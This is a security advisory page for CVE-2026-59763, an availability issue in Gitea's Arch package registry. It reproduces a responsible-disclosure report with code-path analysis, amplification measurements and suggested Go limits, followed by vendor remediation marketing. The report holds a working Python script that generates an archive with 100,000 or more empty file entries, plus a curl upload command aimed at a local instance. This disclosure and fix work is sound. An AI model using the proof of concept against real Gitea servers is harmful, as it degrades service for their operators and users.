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CVE-2026-59763

Fix: go-gitea/gitea#38406

CVE-2026-59763 is a CWE-284 vulnerability in code.gitea.io/gitea. O3 Security confirms whether CVE-2026-59763 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Gitea: Unbounded Arch package file metadata can cause resource amplification in Gitea package uploads

Also known asGO-2026-6049
Published
Jul 21, 2026
Updated
Jul 22, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Jul 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-59763.

Real-World Exposure

1 pkg affected
🐹code.gitea.io/gitea

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Hello Gitea Security Team,

Thank you for your continued work on Gitea. I would like to responsibly report a potential availability-impact issue that I observed in Gitea’s Arch package registry implementation.

During local testing, I noticed that Gitea records non-dot regular file entries from an uploaded Arch package archive into package file metadata. I could not identify an explicit limit on the number of recorded file entries or on the cumulative size of recorded file names before this metadata is serialized, stored, and later used during repository index generation.

As a result, a relatively small compressed .pkg.tar.gz archive may lead to significantly larger server-side metadata processing and storage. I tested this only against a local self-hosted Gitea instance and have not tested this against any third-party or production service.

Suggested Severity

Suggested severity: Medium

Suggested CVSS 3.1 vector:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Suggested CVSS score: 4.3

This assessment is only a suggestion. The issue appears to require an authenticated user with package publishing permission. However, once that condition is met, the behavior is reachable over the network, does not require user interaction, and may affect availability through amplified metadata parsing, serialization, database storage, and repository index generation.

Affected Component

  • Gitea package registry
  • Arch package upload endpoint
  • Arch package metadata parsing
  • Arch repository index generation

Technical Details

The upload flow appears to accept an Arch package archive, parse its contents, record file entries into package metadata, and later reuse that metadata when generating the Arch repository index.

The relevant flow appears to include:

  • routers/api/packages/arch/arch.go:46 accepts the upload stream.
  • routers/api/packages/arch/arch.go:55 copies the upload into a HashedBuffer.
  • routers/api/packages/arch/arch.go:62 parses the archive with arch_module.ParsePackage.
  • modules/packages/arch/metadata.go:149 appends each non-dot regular tar entry name to files.
  • modules/packages/arch/metadata.go:158 stores the full list as p.FileMetadata.Files.
  • routers/api/packages/arch/arch.go:77 JSON-marshals the file metadata.
  • routers/api/packages/arch/arch.go:143 persists the metadata as arch_module.PropertyMetadata.
  • services/packages/arch/repository.go:302 deserializes the metadata during index generation.
  • services/packages/arch/repository.go:365 joins the full file list into the generated files entry.

From my review, the package upload size limit can reduce the maximum compressed archive size that is accepted, but it does not appear to directly limit the number of file entries or the expanded metadata size for archives that remain below the compressed upload limit.

Impact

An authenticated user with permission to publish Arch packages may be able to upload an archive containing a valid .PKGINFO file and a large number of empty regular file entries.

In my local test environment, Gitea accepted such packages and stored the full file list as package metadata. This caused the server-side metadata size and generated repository files index content to become much larger than the compressed upload size.

The practical impact appears to be resource amplification affecting:

  • CPU usage during parsing and index generation
  • memory usage during metadata handling
  • database storage due to large serialized metadata
  • repository index generation size and processing time

This seems most relevant for instances where untrusted or semi-trusted users are allowed to publish packages.

Local Validation Results

I tested this only on a local self-hosted Gitea instance.

A 470,403 byte archive containing 100,000 empty file entries was accepted by the Arch package upload endpoint. It produced a 4,500,112 byte arch.metadata database property and a generated repository index whose files member contained 100,001 lines.

A larger 2,349,767 byte archive containing 500,000 empty file entries was also accepted in the default configuration. It produced a 22,500,112 byte arch.metadata database property and a generated repository files member with 500,001 lines.

Proof of Concept

The following proof of concept is intended only for a local self-hosted test instance.

Save the following script as generate_arch_metadata_test_package.py:

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import gzip
import io
import tarfile
from pathlib import Path

PKGINFO = """pkgname = gitea-metadata-test
pkgbase = gitea-metadata-test
pkgver = 1.0.0-1
pkgdesc = Local metadata scaling test package
url = https://example.invalid/
packager = local test
arch = x86_64
license = MIT
builddate = 1714521600
size = 0
"""

def add_bytes(tar: tarfile.TarFile, name: str, data: bytes) -> None:
    info = tarfile.TarInfo(name=name)
    info.size = len(data)
    info.mode = 0o644
    tar.addfile(info, io.BytesIO(data))

def build_archive(output: Path, entries: int, name_width: int) -> None:
    output.parent.mkdir(parents=True, exist_ok=True)
    with output.open("wb") as raw:
        with gzip.GzipFile(fileobj=raw, mode="wb", compresslevel=9, mtime=0) as gz:
            with tarfile.open(fileobj=gz, mode="w|") as tar:
                add_bytes(tar, ".PKGINFO", PKGINFO.encode("utf-8"))
                for i in range(entries):
                    name = f"usr/share/gitea-metadata-test/{i:0{name_width}d}.txt"
                    add_bytes(tar, name, b"")

def main() -> None:
    parser = argparse.ArgumentParser(
        description="Generate a local Arch package test archive with many empty file entries.",
    )
    parser.add_argument("--entries", type=int, default=100000)
    parser.add_argument("--name-width", type=int, default=8)
    parser.add_argument("--output", type=Path, default=Path("gitea-metadata-test.pkg.tar.gz"))
    args = parser.parse_args()

    if args.entries < 1:
        raise SystemExit("--entries must be at least 1")
    if args.name_width < 1:
        raise SystemExit("--name-width must be at least 1")

    build_archive(args.output, args.entries, args.name_width)
    print(f"wrote {args.output} with {args.entries} regular file entries")

if __name__ == "__main__":
    main()

Generate a test archive:

python3 generate_arch_metadata_test_package.py \
  --entries 100000 \
  --output gitea-metadata-test-100k.pkg.tar.gz

Upload it to a local Gitea test instance with package publishing enabled:

curl -X PUT \
  -H "Authorization: token <TOKEN>" \
  --upload-file gitea-metadata-test-100k.pkg.tar.gz \
  http://127.0.0.1:3007/api/packages/packagebot/arch/bigrepo

Observed local result:

HTTP_STATUS=201
TIME_TOTAL=0.482909
SIZE_UPLOAD=470403

Additional Validation

Parser-only measurements:

EntriesCompressed archive bytesParsed file entriesMetadata JSON bytesJoined files bytesParse time
25477251,2371,0740 ms
10,00047,46110,000450,112429,99925 ms
100,000470,403100,0004,500,1124,299,999264 ms

Local Gitea upload measurements:

EntriesUpload HTTP statusUpload timeUploaded bytesStored metadata bytesStored file countRepository index blob bytesExtracted files lines
10,0002010.243 s47,461450,11210,00027,26710,001
100,0002010.483 s470,4034,500,112100,000262,301100,001
500,0002011.798 s2,349,76722,500,112500,0001,306,465500,001

Package Size Limit Behavior

I also tested LIMIT_SIZE_ARCH=1MiB with a non-admin package publisher.

EntriesUpload bytesUpload HTTP statusStored metadata bytesNotes
100,000470,4032014,500,112Accepted because the compressed upload was below the package size limit.
500,0002,349,767403not storedRejected with maximum allowed package type size exceeded.

This suggests that the compressed package size limit helps reduce exposure, but it may not fully address metadata growth for highly compressible archives that stay below the configured upload limit.

Expected Behavior

Gitea should ideally reject package archives whose expanded package metadata would require excessive server-side resources. It would be safer if this validation happened before the file list is serialized, persisted, or used during repository index generation.

Suggested Remediation

One possible mitigation would be to add explicit bounds during Arch package metadata parsing before the file list is stored or used for repository index generation.

Potential controls could include:

  • limiting the maximum number of regular file entries recorded in FileMetadata.Files
  • limiting the cumulative byte length of recorded file names
  • returning a clear 4xx validation error when an uploaded package exceeds those limits
  • optionally making these limits configurable for instance operators
  • adding regression tests for excessive file-entry count and excessive cumulative file-name size

For example, the validation could follow this general shape:

const (
	maxArchMetadataFiles = 10000
	maxArchMetadataFileNameBytes = 1 << 20
)

var totalFileNameBytes int

// inside the tar entry loop
if !strings.HasPrefix(filename, ".") {
	totalFileNameBytes += len(hd.Name)
	if len(files) >= maxArchMetadataFiles || totalFileNameBytes > maxArchMetadataFileNameBytes {
		return nil, util.NewInvalidArgumentErrorf("arch package file metadata exceeds limit")
	}
	files = append(files, hd.Name)
}

This is only a suggested direction, and I understand the project may prefer a different threshold or design depending on compatibility and package registry requirements.

Closing

Thank you for taking the time to review this report. Please let me know if any additional information would be helpful, such as the local test environment details, database inspection steps, or additional measurements with different limits.

I appreciate your work on maintaining Gitea and would be happy to help clarify or retest any proposed fix.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gocode.gitea.io/giteaall versions1.27.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.gitea.io/gitea. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update code.gitea.io/gitea to 1.27.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-59763 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether CVE-2026-59763 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to CVE-2026-59763. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary Hello Gitea Security Team, Thank you for your continued work on Gitea. I would like to responsibly report a potential availability-impact issue that I observed in Gitea’s Arch package registry implementation. During local testing, I noticed that Gitea records non-dot regular file entries from an uploaded Arch package archive into package file metadata. I could not identify an explicit limit on the number of recorded file entries or on the cumulative size of recorded file names before this metadata is serialized, stored, and later used during repository index generation. As a res
O3 Security · Impact-Aware SCA

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